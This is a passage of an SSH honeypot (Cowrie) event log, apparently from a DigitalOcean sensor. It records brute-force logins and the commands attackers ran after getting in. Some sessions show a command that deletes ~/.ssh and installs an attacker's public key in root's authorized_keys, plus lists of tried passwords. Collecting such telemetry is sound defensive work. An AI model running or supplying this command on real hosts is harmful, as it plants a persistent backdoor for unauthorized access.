{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.856246Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.859859Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:05.936786Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.120589Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.123924Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.199217Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.203306Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.144.28.85","src_port":47564,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c67ec22300c","protocol":"ssh","message":"New connection: 103.144.28.85:47564 (10.17.0.5:22) [session: 2c67ec22300c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.266152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.271514Z","src_ip":"103.144.28.85","session":"2c67ec22300c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.349000Z","src_ip":"103.144.28.85","session":"2c67ec22300c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:06.679896Z","src_ip":"103.144.28.85","session":"2c67ec22300c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:07.764278Z","src_ip":"103.144.28.85","session":"2c67ec22300c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.144.28.85","src_port":47964,"dst_ip":"10.17.0.5","dst_port":22,"session":"991d9d9e4908","protocol":"ssh","message":"New connection: 103.144.28.85:47964 (10.17.0.5:22) [session: 991d9d9e4908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:07.831077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:07.837177Z","src_ip":"103.144.28.85","session":"991d9d9e4908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:07.908712Z","src_ip":"103.144.28.85","session":"991d9d9e4908","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:08.233718Z","src_ip":"103.144.28.85","session":"991d9d9e4908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:08.307556Z","src_ip":"103.144.28.85","session":"f0d915b1a1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:08.312839Z","src_ip":"103.144.28.85","session":"991d9d9e4908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59592,"dst_ip":"159.203.135.109","dst_port":22,"session":"775388b89d35","protocol":"ssh","message":"New connection: 101.44.96.62:59592 (159.203.135.109:22) [session: 775388b89d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:14.191236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:14.195363Z","src_ip":"101.44.96.62","session":"775388b89d35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:14.411771Z","src_ip":"101.44.96.62","session":"775388b89d35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:15.070233Z","src_ip":"101.44.96.62","session":"775388b89d35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:16.289880Z","src_ip":"101.44.96.62","session":"775388b89d35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55822,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd1220472fd","protocol":"ssh","message":"New connection: 101.44.96.62:55822 (159.203.135.109:22) [session: 2dd1220472fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:27.620933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:27.625877Z","src_ip":"101.44.96.62","session":"2dd1220472fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:27.843203Z","src_ip":"101.44.96.62","session":"2dd1220472fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:28.487307Z","src_ip":"101.44.96.62","session":"2dd1220472fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:29.704452Z","src_ip":"101.44.96.62","session":"2dd1220472fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.114.131","src_port":44452,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b1bdad1226","protocol":"ssh","message":"New connection: 103.52.114.131:44452 (10.17.0.5:22) [session: 09b1bdad1226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:37.253892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:37.258654Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:37.513972Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"h123456","message":"login attempt [root/h123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:38.555516Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.096377Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.100124Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.105987Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.361199Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.894439Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:39.897440Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:40.154378Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:40.158055Z","src_ip":"103.52.114.131","session":"09b1bdad1226","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.114.131","src_port":44462,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c3c70f58e1","protocol":"ssh","message":"New connection: 103.52.114.131:44462 (10.17.0.5:22) [session: 17c3c70f58e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:40.392941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:24:40.397778Z","src_ip":"103.52.114.131","session":"17c3c70f58e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.